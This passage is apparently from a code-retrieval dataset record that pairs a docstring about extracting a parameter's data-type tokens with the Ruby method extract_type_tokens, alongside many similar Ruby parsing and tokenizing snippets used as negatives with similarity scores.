"def extract_data(str)\n p str.scan(/(?<=\\?|&).+?(?=\\&)/).join(', ')\nend",
"def searched(params)\n if params.is_a?(::Array)\n params.take(3).join(\", \") + \" ...\"\n else\n params\n end\n end",
"def character_separated_param(param_name, separator = \",\")\n @used_params << param_name\n values = @params.fetch(param_name, [])\n values.map { |value|\n value.split(separator)\n }.flatten\n end",
"def character_separated_param(param_name, separator=\",\")\n @used_params << param_name\n values = @params.fetch(param_name, [])\n values.map { |value|\n value.split(separator)\n }.flatten\n end",
"def get_params_from(line)\n\tvalues = line.split(\",\")\n #let's remove whitespaces\n\tvalues.map { | value | value.strip } # Tip: you can also write it like this `values.map(&:strip)`\nend",
"def parse_qvalues(value)\n tmp = []\n if value\n parts = value.split(/,\\s*/)\n parts.each {|part|\n if m = %r{^([^\\s,]+?)(?:;\\s*q=(\\d+(?:\\.\\d+)?))?$}.match(part)\n val = m[1]\n q = (m[2] or 1).to_f\n tmp.push([val, q])\n end\n }\n tmp = tmp.sort_by{|val, q| -q}\n tmp.collect!{|val, q| val}\n end\n return tmp\n rescue\n nil\n end",
"def get_params_from(line)\n\tvalues = line.split(\",\")\n\tvalues.map { | value | value.strip } #strip removes the whitespaces. could be written like `values.map(&:split)`\nend",
"def tokens=(_arg0); end",
"def tokens=(_arg0); end",
"def tokens=(_arg0); end",
"def get_search_values\n search_by_values = [[I18n.translate(\"part_number\",:scope => \"open_orders.index\"),\"pn\"],[I18n.translate(\"po_number\",:scope => \"open_orders.index\"),\"po\"],\n [I18n.translate(\"all_refill_order\",:scope => \"order_refill.index\"),\"all\"]]\n\n search_by_values\n end",
"def params\n\t\t\treturn @params if @params\n\t\t\t@params = @value.gsub(/\\\\\\|/, @escaped_pipe).split('|').map{|p| p.strip.gsub @escaped_pipe, \"\\\\|\"}\n\t\tend",
"def get_token(tag, tokens)\n tokens.each do |key, value|\n if tag.index(key) != nil then\n return value\n end\n end\n\n return nil\n end",
"def parameter\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 75 )\n return_value = ParameterReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n root_0 = nil\n char_literal358 = nil\n char_literal361 = nil\n variable_name359 = nil\n variable_name360 = nil\n expression362 = nil\n\n tree_for_char_literal358 = nil\n tree_for_char_literal361 = nil\n stream_STAR = ANTLR3::AST::RewriteRuleTokenStream.new( @adaptor, \"token STAR\" )\n stream_ASGN = ANTLR3::AST::RewriteRuleTokenStream.new( @adaptor, \"token ASGN\" )\n stream_expression = ANTLR3::AST::RewriteRuleSubtreeStream.new( @adaptor, \"rule expression\" )\n stream_variable_name = ANTLR3::AST::RewriteRuleSubtreeStream.new( @adaptor, \"rule variable_name\" )\n begin\n # at line 746:3: ( '*' variable_name -> ^( SPLAT['*'] variable_name ) | variable_name ( '=' expression -> ^( '=' variable_name expression ) | -> variable_name ) )\n alt_93 = 2\n look_93_0 = @input.peek( 1 )\n\n if ( look_93_0 == STAR )\n alt_93 = 1\n elsif ( look_93_0 == GET || look_93_0 == SET || look_93_0 == MACRO || look_93_0 == EACH || look_93_0.between?( DEF, OBJECT_DEF ) || look_93_0 == ID || look_93_0.between?( T__148, T__150 ) )\n alt_93 = 2\n else\n @state.backtracking > 0 and raise( ANTLR3::Error::BacktrackingFailed )\n\n raise NoViableAlternative( \"\", 93, 0 )\n end\n case alt_93\n when 1\n # at line 746:5: '*' variable_name\n char_literal358 = match( STAR, TOKENS_FOLLOWING_STAR_IN_parameter_5277 )\n if @state.backtracking == 0\n stream_STAR.add( char_literal358 )\n end\n @state.following.push( TOKENS_FOLLOWING_variable_name_IN_parameter_5279 )\n variable_name359 = variable_name\n @state.following.pop\n if @state.backtracking == 0\n stream_variable_name.add( variable_name359.tree )\n end\n # AST Rewrite\n # elements: variable_name\n # token labels: \n # rule labels: return_value\n # token list labels: \n # rule list labels: \n # wildcard labels: \n if @state.backtracking == 0\n\n return_value.tree = root_0\n stream_return_value = return_value ? subtree_stream( \"rule return_value\", return_value.tree ) : subtree_stream( \"token return_value\" )\n\n root_0 = @adaptor.create_flat_list\n # 746:24: -> ^( SPLAT['*'] variable_name )\n # at line 746:27: ^( SPLAT['*'] variable_name )\n root_1 = @adaptor.create_flat_list\n root_1 = @adaptor.become_root( @adaptor.create( SPLAT, '*' ), root_1 )\n\n @adaptor.add_child( root_1, stream_variable_name.next_tree )\n\n @adaptor.add_child( root_0, root_1 )\n\n\n\n return_value.tree = root_0\n\n end\n when 2\n # at line 747:5: variable_name ( '=' expression -> ^( '=' variable_name expression ) | -> variable_name )\n @state.following.push( TOKENS_FOLLOWING_variable_name_IN_parameter_5297 )\n variable_name360 = variable_name\n @state.following.pop\n if @state.backtracking == 0\n stream_variable_name.add( variable_name360.tree )\n end\n # at line 748:5: ( '=' expression -> ^( '=' variable_name expression ) | -> variable_name )\n alt_92 = 2\n look_92_0 = @input.peek( 1 )\n\n if ( look_92_0 == ASGN )\n alt_92 = 1\n elsif ( look_92_0 == RPAREN || look_92_0 == COMMA || look_92_0 == PIPE )\n alt_92 = 2\n else\n @state.backtracking > 0 and raise( ANTLR3::Error::BacktrackingFailed )\n\n raise NoViableAlternative( \"\", 92, 0 )\n end\n case alt_92\n when 1\n # at line 748:7: '=' expression\n char_literal361 = match( ASGN, TOKENS_FOLLOWING_ASGN_IN_parameter_5305 )\n if @state.backtracking == 0\n stream_ASGN.add( char_literal361 )\n end\n @state.following.push( TOKENS_FOLLOWING_expression_IN_parameter_5307 )\n expression362 = expression\n @state.following.pop\n if @state.backtracking == 0\n stream_expression.add( expression362.tree )\n end\n # AST Rewrite\n # elements: ASGN, expression, variable_name\n # token labels: \n # rule labels: return_value\n # token list labels: \n # rule list labels: \n # wildcard labels: \n if @state.backtracking == 0\n\n return_value.tree = root_0\n stream_return_value = return_value ? subtree_stream( \"rule return_value\", return_value.tree ) : subtree_stream( \"token return_value\" )\n\n root_0 = @adaptor.create_flat_list\n # 748:22: -> ^( '=' variable_name expression )\n # at line 748:25: ^( '=' variable_name expression )\n root_1 = @adaptor.create_flat_list\n root_1 = @adaptor.become_root( stream_ASGN.next_node, root_1 )\n\n @adaptor.add_child( root_1, stream_variable_name.next_tree )\n @adaptor.add_child( root_1, stream_expression.next_tree )\n\n @adaptor.add_child( root_0, root_1 )\n\n\n\n return_value.tree = root_0\n\n end\n when 2\n # at line 749:22: \n # AST Rewrite\n # elements: variable_name\n # token labels: \n # rule labels: return_value\n # token list labels: \n # rule list labels: \n # wildcard labels: \n if @state.backtracking == 0\n\n return_value.tree = root_0\n stream_return_value = return_value ? subtree_stream( \"rule return_value\", return_value.tree ) : subtree_stream( \"token return_value\" )\n\n root_0 = @adaptor.create_flat_list\n # 749:22: -> variable_name\n @adaptor.add_child( root_0, stream_variable_name.next_tree )\n\n\n\n return_value.tree = root_0\n\n end\n end\n\n end# - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look( -1 )\n\n if @state.backtracking == 0\n\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n @adaptor.set_token_boundaries( return_value.tree, return_value.start, return_value.stop )\n\n end\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n return_value.tree = @adaptor.create_error_node( @input, return_value.start, @input.look(-1), re )\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 75 )\n\n end\n \n return return_value\n end",
"def parse_qvalues(value)\r\n tmp = []\r\n if value\r\n parts = value.split(/,\\s*/)\r\n parts.each {|part|\r\n if m = %r{^([^\\s,]+?)(?:;\\s*q=(\\d+(?:\\.\\d+)?))?$}.match(part)\r\n val = m[1]\r\n q = (m[2] or 1).to_f\r\n tmp.push([val, q])\r\n end\r\n }\r\n tmp = tmp.sort_by{|val, q| -q}\r\n tmp.collect!{|val, q| val}\r\n end\r\n return tmp\r\n rescue\r\n nil\r\n end",
"def token(*values)\n values.inject(self) { |res, val| res._token(val) or fail ArgumentError, \"Unknown value for token: #{val}\" }\n end",
"def params_array_from(raw_params)\n raw_params.map { |param| param.split %r/=(.+)?/ }\n end",
"def parameter_strings\n # element[0].t - first parameter\n # element[1,0,1].t - second parameter\n # element[1,1,1].t - third parameter\n # element[1,2,1].t - fourth parameter\n p = @@parser.parse(@string)\n first = p.elements[0]\n rest = p.elements[1].elements.map { |e| e.elements[1] }\n ([first] + rest).map { |e| e.text_value }\n end",
"def parse_values(field)\n if field =~ /^\\w+: (#{match_values})$/\n $1.scan(/(#{match_value})(?:,|$|\\])/).inject([]) do |m, match|\n m << match[0]\n end\n #TODO GC 02/26/2010 - What to do if it does not match the values pattern?\n end\n end",
"def complete_value\n if last_token_is(COMPARISON_OPERATORS)\n token = tokens[tokens.size - 2]\n val = ''\n else\n token = tokens[tokens.size - 3]\n val = tokens[tokens.size - 1]\n end\n\n field = definition.field_by_name(token)\n return [] unless field && field.complete_value\n\n return complete_set(field) if field.set?\n return complete_date_value if field.temporal?\n return complete_key_value(field, token, val) if field.key_field\n\n special_values = field.special_values.select { |v| v =~ /\\A#{val}/ }\n special_values + complete_value_from_db(field, special_values, val)\n end",
"def tokenize\n tokens = @question.downcase.chomp('?').split\n useful_tokens = tokens.reject { |token| IGNORED.include? token }\n useful_tokens.each_slice 2\n end",
"def param_seq\n params = params.gsub(/\\s*\\#.*/, '')\n params = params.tr(\"\\n\", \" \").squeeze(\" \")\n params = \"(#{params})\" unless p[0] == ?(\n\n if block = block_params then # yes, =\n # If this method has explicit block parameters, remove any explicit\n # &block\n params.sub!(/,?\\s*&\\w+/)\n\n block.gsub!(/\\s*\\#.*/, '')\n block = block.tr(\"\\n\", \" \").squeeze(\" \")\n if block[0] == ?(\n block.sub!(/^\\(/, '').sub!(/\\)/, '')\n end\n params << \" { |#{block}| ... }\"\n end\n\n params\n end",
"def scan_for_in(token); end",
"def tags_from_params\n search_filter_params[:tagged_with].to_s.split(\",\")\n end",
"def scan_for_at(token); end",
"def parse(token)\n raise InvalidToken unless valid?(token)\n token.split('&').map{|p| p.split('=') } \\\n .inject({}){|t, i| t.merge!(CGI.unescape(i[0]) => value_for(CGI.unescape(i[1])))}\n end",
"def scan_for_all(token); end",
"def scan_for_all(token); end",
"def scan_for_all(token); end",
"def parse_value\n if String === peek_token\n ScopedSearch::QueryLanguage::AST::LeafNode.new(next_token)\n elsif ([:in, :notin].include? current_token)\n value = parse_multiple_values()\n ScopedSearch::QueryLanguage::AST::LeafNode.new(value)\n else\n raise ScopedSearch::QueryNotSupported, \"Value expected but found #{peek_token.inspect}\"\n end\n end",
"def search_words\n @search_words ||= Tokenizer.new(search_param).words_with_terminator\n end",
"def search_values_in_quotes\n search_string.scan(REGEX_WORD_IN_QUOTES)\n end",
"def separate_operand(operand)\n groups = GROUPING_PATTERN.match(operand)\n return groups[1..2] if groups\n\n [OperandValueTypesName::EQUALS, operand]\n end",
"def multi(var)\n vars = self.env[\"QUERY_STRING\"].split(\"&\").select {|p| p =~ /^#{var}=(.*)/}\n multi = vars.map { |v|\n v = v.split(\"#{var}=\")[1]\n v = v.nil? ? \"\" : v\n }\n # Special case for ?foo& or &foo&\n if self.env[\"QUERY_STRING\"] =~ /(^[?]#{var}|[&]#{var})&/\n multi << nil\n end\n multi\n end",
"def to_param\n\t\tself.token\n\tend",
"def needed_params\n param_str = String.new(term_class.params)\n res = []\n while param_str.sub! /%([^%\\s]+)%/, '' do\n res << $1\n end\n res.sort\n end",
"def tokens\n @tokens ||= tokenize_input\n end",
"def scope_from_params(params)\n return default_scope if params[:scope].blank?\n scope = params[:scope].is_a?(Array) ? params[:scope] : params[:scope].split(',')\n scope = scope.map(&:downcase).map(&:strip)\n return scope & default_scope\n end",
"def find_value(val)\r\n\t\ttemp = nil\r\n\t\t@actual_parameters.each_with_index do |row,index|\r\n\t\t\trow.each_with_index do |element, index1|\r\n\t\t\t\tif (element.downcase.delete(' ') == val.downcase.delete(' ') && index1 != 0)\r\n\t\t\t\t\treturn (index + 97).chr + index1.to_s\r\n\t\t\t\tend\r\n\t\t\tend\r\n\t\tend\r\n\t\treturn nil\r\n\tend",
"def params_with_values names, local_params = params\n local_params.select {|k,v| names.include?(k) && !v.blank?}\n end",
"def value\n return @value.split(',') if @type == 'StringList'\n @value\n end",
"def tags_with_values\n @title.scan(/(?<= |\\A)@([^\\s(]+)(?:\\((.*?)\\))?/).map { |tag| [tag[0], tag[1]] }.sort.uniq\n end",
"def annotated_values_list(values_to_split=self.values)\n values_to_split.split(VALUES_SPLITTER).map {|e|\n k = e.gsub(/\\((.*)?\\)/, '')\n $1 ? [$1, k] : [e,e]\n }\n end",
"def token_params\n super.tap do |params|\n options[:token_options].each do |k|\n params[k] = request.params[k.to_s] unless [nil, ''].include?(request.params[k.to_s])\n end\n end\n end",
"def tokenize_value(k, v)\n return [v] if v.is_a?(Numeric)\n Array(v).map do |v|\n parse(k.to_s, v.to_s).map do |str|\n filter_string(str)\n end\n end.flatten.compact\n end",
"def _find_variables(text)\n return Set.new\n end",
"def jitter_tokenizer(token)\n toReturn = []\n if (token[1] == \" \" && token[-2] == \" \")\n toReturn << token[0..0]\n toReturn << token[2..-3]\n toReturn << token[-1..-1]\n elsif token[1] == \" \"\n toReturn << token[0..0]\n toReturn << token[2..-1]\n elsif token[-2] == \" \"\n toReturn << token[0..-3]\n toReturn << token[-1..-1]\n else\n toReturn << token\n end\n toReturn\nend",
"def tokens; end",
"def tokens; end",
"def tokens; end",
"def tokens; end",
"def tokens; end",
"def tokens; end",
"def tokens; end",
"def tokens; end",
"def extract_filter_tokens(expression = nil) #:nodoc:\n return [] unless expression\n\n # @tokens = ($expression =~ /\"(?:[^\"]|\"\")*\"|\\S+/g); #\"\n\n tokens = []\n str = expression\n while str =~ /\"(?:[^\"]|\"\")*\"|\\S+/\n tokens << $&\n str = $~.post_match\n end\n\n # Remove leading and trailing quotes and unescape other quotes\n tokens.map! do |token|\n token.sub!(/^\"/, '')\n token.sub!(/\"$/, '')\n token.gsub!(/\"\"/, '\"')\n\n # if token is number, convert to numeric.\n if token =~ /^([+-]?)(?=\\d|\\.\\d)\\d*(\\.\\d*)?([Ee]([+-]?\\d+))?$/\n token.to_f == token.to_i ? token.to_i : token.to_f\n else\n token\n end\n end\n\n return tokens\n end",
"def makara_values(env)\n regex = /#{IDENTIFIER}=([\\-a-z0-9A-Z]+)/\n\n env['HTTP_COOKIE'].to_s =~ regex\n return $1.split('--') if $1\n\n env['QUERY_STRING'].to_s =~ regex\n return $1.split('--') if $1\n\n [nil, nil]\n end",
"def parameter_list\n case @enum.peek.value\n when 'void'\n @instruction.push(@enum.peek.value)\n match(Token.new(:reserved, 'void'))\n when 'int'\n @instruction.push(@enum.peek.value)\n match(Token.new(:reserved, 'int'))\n @instruction.push(@enum.peek.value)\n match(:identifier)\n parameter_list_tail\n end\n end",
"def iteration_parameters\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 73 )\n return_value = IterationParametersReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n root_0 = nil\n char_literal352 = nil\n char_literal354 = nil\n parameters353 = nil\n\n tree_for_char_literal352 = nil\n tree_for_char_literal354 = nil\n stream_PIPE = ANTLR3::AST::RewriteRuleTokenStream.new( @adaptor, \"token PIPE\" )\n stream_parameters = ANTLR3::AST::RewriteRuleSubtreeStream.new( @adaptor, \"rule parameters\" )\n begin\n # at line 737:3: ( '|' ( parameters )? '|' -> ^( PARAMS ( parameters )? ) | -> ^( PARAMS ) )\n alt_90 = 2\n look_90_0 = @input.peek( 1 )\n\n if ( look_90_0 == PIPE )\n alt_90 = 1\n elsif ( look_90_0 == GENERAL || look_90_0 == GET || look_90_0 == ARROW || look_90_0 == IF || look_90_0 == REGEX || look_90_0 == INCR || look_90_0 == BREAK || look_90_0 == RETURN || look_90_0 == IS_DEFINED || look_90_0 == LBRACE || look_90_0 == LBRACK || look_90_0.between?( SEMI, CONST ) || look_90_0.between?( SET, LET ) || look_90_0 == DDOC || look_90_0.between?( DECR, LPAREN ) || look_90_0 == DELETE || look_90_0.between?( DGENERAL, DO ) || look_90_0 == THROW || look_90_0 == TILDE || look_90_0 == TRUE || look_90_0 == TRY || look_90_0.between?( TYPEOF, NEW ) || look_90_0.between?( EACH, UNDEFINED ) || look_90_0.between?( NULL, UNLESS ) || look_90_0 == UNTIL || look_90_0 == FALSE || look_90_0 == VAR || look_90_0.between?( VOID, FOR ) || look_90_0 == WHILE || look_90_0.between?( WITH, YIELD ) || look_90_0.between?( IS_UNDEFINED, DOC ) || look_90_0.between?( T__148, T__150 ) )\n alt_90 = 2\n else\n @state.backtracking > 0 and raise( ANTLR3::Error::BacktrackingFailed )\n\n raise NoViableAlternative( \"\", 90, 0 )\n end\n case alt_90\n when 1\n # at line 737:5: '|' ( parameters )? '|'\n char_literal352 = match( PIPE, TOKENS_FOLLOWING_PIPE_IN_iteration_parameters_5207 )\n if @state.backtracking == 0\n stream_PIPE.add( char_literal352 )\n end\n # at line 737:9: ( parameters )?\n alt_89 = 2\n look_89_0 = @input.peek( 1 )\n\n if ( look_89_0 == GET || look_89_0 == SET || look_89_0 == STAR || look_89_0 == MACRO || look_89_0 == EACH || look_89_0.between?( DEF, OBJECT_DEF ) || look_89_0 == ID || look_89_0.between?( T__148, T__150 ) )\n alt_89 = 1\n end\n case alt_89\n when 1\n # at line 737:9: parameters\n @state.following.push( TOKENS_FOLLOWING_parameters_IN_iteration_parameters_5209 )\n parameters353 = parameters\n @state.following.pop\n if @state.backtracking == 0\n stream_parameters.add( parameters353.tree )\n end\n\n end\n char_literal354 = match( PIPE, TOKENS_FOLLOWING_PIPE_IN_iteration_parameters_5212 )\n if @state.backtracking == 0\n stream_PIPE.add( char_literal354 )\n end\n # AST Rewrite\n # elements: parameters\n # token labels: \n # rule labels: return_value\n # token list labels: \n # rule list labels: \n # wildcard labels: \n if @state.backtracking == 0\n\n return_value.tree = root_0\n stream_return_value = return_value ? subtree_stream( \"rule return_value\", return_value.tree ) : subtree_stream( \"token return_value\" )\n\n root_0 = @adaptor.create_flat_list\n # 737:25: -> ^( PARAMS ( parameters )? )\n # at line 737:28: ^( PARAMS ( parameters )? )\n root_1 = @adaptor.create_flat_list\n root_1 = @adaptor.become_root( @adaptor.create_from_type( PARAMS, \"PARAMS\" ), root_1 )\n\n # at line 737:38: ( parameters )?\n if stream_parameters.has_next?\n @adaptor.add_child( root_1, stream_parameters.next_tree )\n\n end\n\n stream_parameters.reset();\n\n @adaptor.add_child( root_0, root_1 )\n\n\n\n return_value.tree = root_0\n\n end\n when 2\n # at line 738:5: \n # AST Rewrite\n # elements: \n # token labels: \n # rule labels: return_value\n # token list labels: \n # rule list labels: \n # wildcard labels: \n if @state.backtracking == 0\n\n return_value.tree = root_0\n stream_return_value = return_value ? subtree_stream( \"rule return_value\", return_value.tree ) : subtree_stream( \"token return_value\" )\n\n root_0 = @adaptor.create_flat_list\n # 738:5: -> ^( PARAMS )\n # at line 738:8: ^( PARAMS )\n root_1 = @adaptor.create_flat_list\n root_1 = @adaptor.become_root( @adaptor.create_from_type( PARAMS, \"PARAMS\" ), root_1 )\n\n @adaptor.add_child( root_0, root_1 )\n\n\n\n return_value.tree = root_0\n\n end\n end# - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look( -1 )\n\n if @state.backtracking == 0\n\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n @adaptor.set_token_boundaries( return_value.tree, return_value.start, return_value.stop )\n\n end\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n return_value.tree = @adaptor.create_error_node( @input, return_value.start, @input.look(-1), re )\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 73 )\n\n end\n \n return return_value\n end",
"def to_param\n self.token\n end",
"def token_received()\n ret = []\n while @ss.rest? do\n if s = @ss.scan(/[\\s]+/) then\n # ignore blank\n elsif s = @ss.scan(/\\(/) then\n begin\n pos = @ss.pos\n cfws(@ss)\n rescue ParseError\n @ss.pos = pos\n ret.last << s unless ret.empty?\n end\n elsif s = @ss.scan(/\\\"([\\s]*(\\\\[#{TEXT_RE}]|[#{QTEXT_RE}]))*[\\s]*\\\"/o)\n ret << s\n elsif s = @ss.scan(/;/)\n ret << s\n else\n ret << @ss.scan(/[^\\s\\(\\;]+/o)\n end\n end\n return ret\n end"
] | [
"0.6007873",
"0.58190423",
"0.5797972",
"0.5745399",
"0.5708995",
"0.5708995",
"0.5694716",
"0.5653947",
"0.56236243",
"0.56137717",
"0.5551762",
"0.5526229",
"0.5504136",
"0.54743356",
"0.5433497",
"0.54331636",
"0.5410425",
"0.53768414",
"0.5353954",
"0.5281074",
"0.52628964",
"0.524522",
"0.52425903",
"0.52314645",
"0.52161384",
"0.52158004",
"0.5209441",
"0.51920944",
"0.5173932",
"0.5156924",
"0.514577",
"0.5128186",
"0.5120553",
"0.51126623",
"0.51041514",
"0.50908864",
"0.5085613",
"0.5082662",
"0.5075228",
"0.5074429",
"0.5069878",
"0.50664747",
"0.50612223",
"0.5060151",
"0.50316906",
"0.5026415",
"0.50215065",
"0.50215065",
"0.50215065",
"0.50165504",
"0.50047386",
"0.5000999",
"0.49955863",
"0.49954018",
"0.49869758",
"0.49865183",
"0.49652347",
"0.4951467",
"0.49512112",
"0.49276376",
"0.490389",
"0.4902478",
"0.48951113",
"0.48860142",
"0.48842394",
"0.4883667",
"0.4883667",
"0.4883667",
"0.48764315",
"0.48672074",
"0.4859244",
"0.48558053",
"0.4853423",
"0.48501778",
"0.4841828",
"0.4826122",
"0.4814203",
"0.47964507",
"0.4795046",
"0.47943014",
"0.4787113",
"0.47855935",
"0.4783335",
"0.4779507",
"0.47735044",
"0.47713137",
"0.4770661",
"0.4770661",
"0.4770661",
"0.4770661",
"0.4770661",
"0.4770661",
"0.4770661",
"0.4770661",
"0.47671327",
"0.47667336",
"0.4764573",
"0.47643328",
"0.474055",
"0.4740217"
] | 0.7109807 | 0 |
Returns an array of tokens that cover the data type of the parameter ptok Search backwards until we either bump into a comma (whilst not nested), or reach the opening LPAREN | def extract_type_tokens(ptok)
type_tokens = []
token = ptok.prev_code_token
nesting = 0
while token
case token.type
when :LBRACK
nesting += 1
when :LPAREN
nesting += 1
if nesting.positive?
# This is the LPAREN at the start of the parameter list
first_token = token.next_code_token
last_token = ptok.prev_code_token
break
end
when :RBRACK, :RPAREN
nesting -= 1
when :COMMA
if nesting.zero?
first_token = token.next_code_token
last_token = ptok.prev_code_token
break
end
end
token = token.prev_code_token
end
type_tokens = tokens[tokens.find_index(first_token)..tokens.find_index(last_token)] if first_token && last_token
type_tokens
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def parse_multiple_values\n next_token if peek_token == :lparen #skip :lparen\n value = []\n value << current_token if String === next_token until peek_token.nil? || peek_token == :rparen\n next_token if peek_token == :rparen # consume the :rparen\n value.join(',')\n end",
"def extract_default_value_tokens(ptok)\n value_tokens = []\n token = ptok.next_code_token\n nesting = 0\n while token\n case token.type\n when :LPAREN, :LBRACK\n nesting += 1\n when :RBRACK\n nesting -= 1\n when :RPAREN\n nesting -= 1\n if nesting.negative?\n # This is the RPAREN at the end of the parameters. There wasn't a COMMA\n last_token = token.prev_code_token\n break\n end\n when :EQUALS\n first_token = token.next_code_token\n when :COMMA\n unless nesting.positive?\n last_token = token.prev_code_token\n break\n end\n end\n token = token.next_token\n end\n value_tokens = tokens[tokens.find_index(first_token)..tokens.find_index(last_token)] if first_token && last_token\n value_tokens\n end",
"def parameter_list\n recursive_expression(:expression, :comma)\n end",
"def parameter_list_tail\n if @enum.peek.value == ','\n @instruction.push(@enum.peek.value)\n comma\n @instruction.push(@enum.peek.value)\n match(Token.new(:reserved, 'int'))\n @instruction.push(@enum.peek.value)\n match(:identifier)\n parameter_list_tail\n end\n end",
"def tokenize (p_token, type, lineno, pos)\n\t\n\tif type == \"op\"\n\t\treturn op_tokenize(p_token, lineno, pos)\n\t\n\telsif type == \"character\"\n\t\treturn char_tokenize(p_token, lineno, pos)\n\t\n\telsif type == \"string\"\n\t\treturn string_tokenize(p_token, lineno, pos)\n\t\n\telsif type == \"digit\"\n\t\treturn digit_tokenize(p_token, lineno, pos)\n\t\n\telse\n\t\t# should create an error here, just for thoroughness\n\tend\nend",
"def parameters\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 74 )\n return_value = ParametersReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n root_0 = nil\n char_literal356 = nil\n parameter355 = nil\n parameter357 = nil\n\n tree_for_char_literal356 = nil\n stream_COMMA = ANTLR3::AST::RewriteRuleTokenStream.new( @adaptor, \"token COMMA\" )\n stream_parameter = ANTLR3::AST::RewriteRuleSubtreeStream.new( @adaptor, \"rule parameter\" )\n begin\n # at line 742:5: parameter ( ',' parameter )*\n @state.following.push( TOKENS_FOLLOWING_parameter_IN_parameters_5248 )\n parameter355 = parameter\n @state.following.pop\n if @state.backtracking == 0\n stream_parameter.add( parameter355.tree )\n end\n # at line 742:15: ( ',' parameter )*\n while true # decision 91\n alt_91 = 2\n look_91_0 = @input.peek( 1 )\n\n if ( look_91_0 == COMMA )\n alt_91 = 1\n\n end\n case alt_91\n when 1\n # at line 742:18: ',' parameter\n char_literal356 = match( COMMA, TOKENS_FOLLOWING_COMMA_IN_parameters_5253 )\n if @state.backtracking == 0\n stream_COMMA.add( char_literal356 )\n end\n @state.following.push( TOKENS_FOLLOWING_parameter_IN_parameters_5256 )\n parameter357 = parameter\n @state.following.pop\n if @state.backtracking == 0\n stream_parameter.add( parameter357.tree )\n end\n\n else\n break # out of loop for decision 91\n end\n end # loop for decision 91\n # AST Rewrite\n # elements: parameter\n # token labels: \n # rule labels: return_value\n # token list labels: \n # rule list labels: \n # wildcard labels: \n if @state.backtracking == 0\n\n return_value.tree = root_0\n stream_return_value = return_value ? subtree_stream( \"rule return_value\", return_value.tree ) : subtree_stream( \"token return_value\" )\n\n root_0 = @adaptor.create_flat_list\n # 742:36: -> ( parameter )+\n # at line 742:39: ( parameter )+\n stream_parameter.has_next? or raise ANTLR3::RewriteEarlyExit\n\n while stream_parameter.has_next?\n @adaptor.add_child( root_0, stream_parameter.next_tree )\n\n end\n stream_parameter.reset\n\n\n\n return_value.tree = root_0\n\n end# - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look( -1 )\n\n if @state.backtracking == 0\n\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n @adaptor.set_token_boundaries( return_value.tree, return_value.start, return_value.stop )\n\n end\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n return_value.tree = @adaptor.create_error_node( @input, return_value.start, @input.look(-1), re )\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 74 )\n\n end\n \n return return_value\n end",
"def parse_parenth\n expect :lparen\n if showNext.is_a?(:others) # e.g : (others=>'0')\n acceptIt\n expect :imply\n parse_expression\n else\n parse_expression\n end\n\n while showNext.is_a?(:comma) # aggregate\n acceptIt\n parse_expression\n end\n expect :rparen\n end",
"def get_token(string)\n case string\n when /'(\\S+)/\n $1\n when *$token_table.keys\n $token_table[string]\n when $pats[:int]\n $&.to_i\n when /\\A\n \\[\n (.*)\n \\]\n \\Z/x\n a = $1.split(/\\s*,\\s*/)\n a.collect{|elem| get_token(elem)}\n else\n string\n end\nend",
"def parameter_list\n case @enum.peek.value\n when 'void'\n @instruction.push(@enum.peek.value)\n match(Token.new(:reserved, 'void'))\n when 'int'\n @instruction.push(@enum.peek.value)\n match(Token.new(:reserved, 'int'))\n @instruction.push(@enum.peek.value)\n match(:identifier)\n parameter_list_tail\n end\n end",
"def compile_parameterlist\n write_tag '<parameterList>'\n until check?(')')\n compile_type\n consume(TokenType::IDENTIFIER) # varName\n break unless check?(',')\n consume(',')\n end\n write_tag '</parameterList>'\n end",
"def param_list\n read_next.must_be_identifier!(\"(\")\n if next_token.is_identifier?(\")\")\n ASTList.create\n else\n params\n end.tap do\n read_next.must_be_identifier!(\")\")\n end\n end",
"def parse_call_parameters(tk)\n end_token = case tk[:kind]\n when :on_lparen\n :on_rparen\n when :on_rparen\n return \"\"\n else\n :on_nl\n end\n nest = 0\n\n loop do\n break if tk.nil?\n case tk[:kind]\n when :on_semicolon\n break\n when :on_lparen\n nest += 1\n when end_token\n if end_token == :on_rparen\n nest -= 1\n break if RDoc::Parser::RipperStateLex.end?(tk) and nest <= 0\n else\n break if RDoc::Parser::RipperStateLex.end?(tk)\n end\n when :on_comment, :on_embdoc\n unget_tk(tk)\n break\n when :on_op\n if tk[:text] =~ /^(.{1,2})?=$/\n unget_tk(tk)\n break\n end\n end\n tk = get_tk\n end\n\n get_tkread_clean \"\\n\", \" \"\n end",
"def extract_params(idx)\n params = []\n return params if idx[:param_tokens].nil?\n\n e = idx[:param_tokens].each\n begin\n while (ptok = e.next)\n next unless ptok.type == :VARIABLE\n\n params << ptok\n nesting = 0\n # skip to the next parameter to avoid finding default values of variables\n loop do\n ptok = e.next\n case ptok.type\n when :LPAREN, :LBRACK\n nesting += 1\n when :RPAREN, :RBRACK\n nesting -= 1\n when :COMMA\n break unless nesting.positive?\n end\n end\n end\n rescue StopIteration; end # rubocop:disable Lint/SuppressedException\n params\n end",
"def parse\n @tokens = tokenize\n while @tokens.last.is_a?(Symbol) do\n @tokens.delete_at(@tokens.size - 1)\n end\n parse_expression_sequence(true).simplify\n end",
